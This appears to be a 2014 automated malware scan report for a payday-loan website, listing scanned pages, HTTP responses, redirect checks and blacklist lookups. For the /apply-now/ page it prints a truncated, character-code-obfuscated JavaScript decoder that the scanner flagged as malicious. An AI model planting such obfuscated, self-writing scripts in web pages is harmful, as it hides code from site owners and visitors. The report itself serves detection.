Scanned pages/files
Request | Server response | Status |
http://paydayloanstoday.net/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 27 Sep 2014 23:40:27 GMT Location: http://www.paydayloanstoday.net/ Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php | clean |
http://www.paydayloanstoday.net/ | 200 OK Content-Length: 8462 Content-Type: text/html | clean |
http://www.paydayloanstoday.net/wp-content/themes/payday/js/jquery.js | 200 OK Content-Length: 57254 Content-Type: application/javascript | clean |
http://www.paydayloanstoday.net/wp-content/themes/payday/js/jqueryui.js | 200 OK Content-Length: 24169 Content-Type: application/javascript | clean |
http://www.paydayloanstoday.net/wp-content/themes/payday/js/js.js | 200 OK Content-Length: 1762 Content-Type: application/javascript | clean |
http://paydayloanstoday.net/apply-now/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 27 Sep 2014 23:40:31 GMT Location: http://www.paydayloanstoday.net/apply-now/ Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php | clean |
http://www.paydayloanstoday.net/apply-now/ | 200 OK Content-Length: 7978 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) <!-- function Decode(){var temp=""; var i,c=0; var out=""; var str="60!115!99!114!105!112!116!32!116!121!112!101!61!39!116!101!120!116!47!106!97!118!97!115!99!114!105!112!116!39!62!32!10!32!32!32!32!118!97!114!32!105!110!112!117!116!79!112!116!105!111!110!115!32!61!32!123!10!32!32!32!32!32!32!32!32!39!85!115!101!114!73!68!39!58!32!39!51!50!57!50!49!39!44!10!32!32!32!32!32!32!32!32!39!80!114!111!100!117!99!116!39!58!32!39!112!97!121!100!97!121!39!44!10!32!32!32!32! l=str.length; while(c <= str.length - 1) { while(str.charAt(c) != '!') temp = temp + str.charAt(c++); c++; out=out+String.fromCharCode(temp); temp = ""; } document.write(out);} Antivirus reports:
| ||
http://www.paydayloanstoday.net/wp-includes/js/comment-reply.js?ver=20090102 | 200 OK Content-Length: 786 Content-Type: application/javascript | clean |
http://paydayloanstoday.net/test404page.js | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Sat, 27 Sep 2014 23:40:33 GMT Pragma: no-cache Location: http://www.paydayloanstoday.net/test404page.js Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 27 Sep 2014 23:40:33 GMT X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php | clean |
http://www.paydayloanstoday.net/test404page.js | 404 Not Found Content-Length: 5960 Content-Type: text/html | clean |
http://www.paydayloanstoday.net/about-payday-loans/ | 200 OK Content-Length: 10217 Content-Type: text/html | clean |
http://www.paydayloanstoday.net/payday-loans-faq/ | 200 OK Content-Length: 13378 Content-Type: text/html | clean |
http://www.paydayloanstoday.net/privacy-policy/ | 200 OK Content-Length: 22426 Content-Type: text/html | clean |
http://www.paydayloanstoday.net/recent-posts/ | 200 OK Content-Length: 6300 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: paydayloanstoday.net
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 27 Sep 2014 23:40:27 GMT
Location: http://www.paydayloanstoday.net/
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php
...0 bytes of data.
GET / HTTP/1.1
Host: paydayloanstoday.net
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 27 Sep 2014 23:40:27 GMT
Location: http://www.paydayloanstoday.net/
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php
...0 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: paydayloanstoday.net
Referer: http://www.google.com/search?q=paydayloanstoday.net
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: paydayloanstoday.net
Referer: http://www.google.com/search?q=paydayloanstoday.net
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=paydayloanstoday.net
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://paydayloanstoday.net/
Result: paydayloanstoday.net is not infected or malware details are not published yet.
Result: paydayloanstoday.net is not infected or malware details are not published yet.